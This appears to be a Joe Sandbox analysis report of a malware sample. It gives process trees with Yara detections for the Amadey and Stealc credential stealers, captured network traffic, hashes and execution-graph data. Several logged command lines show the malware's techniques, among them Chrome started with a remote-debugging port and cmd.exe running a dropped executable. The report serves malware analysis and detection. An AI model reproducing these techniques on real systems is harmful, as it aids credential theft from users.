2024-11-07 05:01:27 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:27 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:27 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:27 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 295439a2-001e-0065-3ad2-2c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050127Z-16547b76f7fr28cchC1DFWnuws00000007ng00000000rsks x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:27 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	23:59:59
Start date:	06/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc10000
File size:	3'235'328 bytes
MD5 hash:	4077B9CF83C4160818A7937F31B4EF22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:00:02
Start date:	07/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x990000
File size:	3'235'328 bytes
MD5 hash:	4077B9CF83C4160818A7937F31B4EF22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1743404346.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:00:02
Start date:	07/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x990000
File size:	3'235'328 bytes
MD5 hash:	4077B9CF83C4160818A7937F31B4EF22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:01:00
Start date:	07/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x990000
File size:	3'235'328 bytes
MD5 hash:	4077B9CF83C4160818A7937F31B4EF22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	00:01:12
Start date:	07/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe"
Imagebase:	0xcb0000
File size:	3'152'896 bytes
MD5 hash:	42CDE78D2F641589728DCA3038565BF9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000007.00000002.2985941651.00000000062B1000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000007.00000003.2656371026.0000000008520000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000003.2498025782.0000000001252000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	00:01:18
Start date:	07/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe"
Imagebase:	0x30000
File size:	2'132'992 bytes
MD5 hash:	BC813A4FC2DA2D8C221C9F5F1D3106AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000003.2452950173.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.2797456590.000000000101E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.2787161669.0000000000031000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:01:22
Start date:	07/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'235'328 bytes
MD5 hash:	4077B9CF83C4160818A7937F31B4EF22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	00:01:23
Start date:	07/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe"
Imagebase:	0xcb0000
File size:	3'152'896 bytes
MD5 hash:	42CDE78D2F641589728DCA3038565BF9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2591290711.0000000001667000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2628466446.0000000001667000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2590421604.0000000001667000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000003.2752337356.0000000008AC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2605562177.0000000001667000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2566179633.0000000001667000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2605869136.0000000001667000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2633550912.0000000001671000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.2934224445.0000000006681000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2566286818.0000000001667000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:01:24
Start date:	07/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:01:26
Start date:	07/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2560 --field-trial-handle=2312,i,454182025611098598,9768807319645841534,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:01:28
Start date:	07/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe"
Imagebase:	0x8a0000
File size:	2'835'456 bytes
MD5 hash:	E23A0338F3332C838F5D925DDEACF8F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:01:30
Start date:	07/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4056 --field-trial-handle=2312,i,454182025611098598,9768807319645841534,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:01:32
Start date:	07/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe"
Imagebase:	0x30000
File size:	2'132'992 bytes
MD5 hash:	BC813A4FC2DA2D8C221C9F5F1D3106AD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000002.2869260656.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000002.2866571637.0000000000031000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000003.2592438945.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:01:40
Start date:	07/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe"
Imagebase:	0x8a0000
File size:	2'835'456 bytes
MD5 hash:	E23A0338F3332C838F5D925DDEACF8F5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:01:48
Start date:	07/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe"
Imagebase:	0xcb0000
File size:	3'152'896 bytes
MD5 hash:	42CDE78D2F641589728DCA3038565BF9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2866641995.0000000001421000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2867528854.0000000001432000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2876772993.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2806845000.0000000001422000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2829707200.0000000001420000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2828056172.000000000141D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2866408312.0000000001421000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2866766045.0000000001421000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2805701051.0000000001425000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2829000705.0000000001420000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2809933804.0000000001432000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2865906204.000000000141D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2808523788.0000000001422000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2876824904.0000000001438000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2808942829.0000000001422000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2876683720.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2805628295.000000000141D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000003.2845208625.0000000001420000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	00:01:51
Start date:	07/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAEBGHCFCA.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:01:51
Start date:	07/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	00:01:51
Start date:	07/11/2024
Path:	C:\Users\user\DocumentsBAEBGHCFCA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsBAEBGHCFCA.exe"
Imagebase:	0x9e0000
File size:	3'235'328 bytes
MD5 hash:	4077B9CF83C4160818A7937F31B4EF22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2841128463.00000000009E1000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:01:56
Start date:	07/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe"
Imagebase:	0x30000
File size:	2'132'992 bytes
MD5 hash:	BC813A4FC2DA2D8C221C9F5F1D3106AD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000003.2842323679.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000002.2949918486.0000000000031000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	00:02:04
Start date:	07/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe"
Imagebase:	0x8a0000
File size:	2'835'456 bytes
MD5 hash:	E23A0338F3332C838F5D925DDEACF8F5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.9%
Total number of Nodes:	726
Total number of Limit Nodes:	25

Executed Functions

Function 00C4652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00C4652A,?,?,?,?,?,00C47661), ref: 00C46567

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: a78a67c0bee5deace27389e5b89ff919554948dfd6e2d6c3466938dfaa73b99a
Instruction ID: 510381577058b2af816b3cab2b88a21d4c11aea9f4248f38476890f35d773376
Opcode Fuzzy Hash: a78a67c0bee5deace27389e5b89ff919554948dfd6e2d6c3466938dfaa73b99a
Instruction Fuzzy Hash: 29E08C30141608AFCF35BB58C80DE483B69FB52761F000800FC288A22ACB29DE81DA81

Function 051B02D7 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1716621354.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_51b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa216fdf74192a60dbd64d3847cb3a94e3b1f667afb2e4c74c307f708b0aa73b
Instruction ID: 4e137f6b043af6bd17ae96db1823f7cfea77836407e46a720a920f24345e699c
Opcode Fuzzy Hash: fa216fdf74192a60dbd64d3847cb3a94e3b1f667afb2e4c74c307f708b0aa73b
Instruction Fuzzy Hash: A6F030DB089214BE7056D1822B1CDF75A2FE1DB2702318277F403D1992A6C84B5E6132

Function 00C15C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000422, xrefs: 00C160C9
00000423, xrefs: 00C160FA
00000419, xrefs: 00C16098
0000043f, xrefs: 00C1612B
Keyboard Layout\Preload, xrefs: 00C16054

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
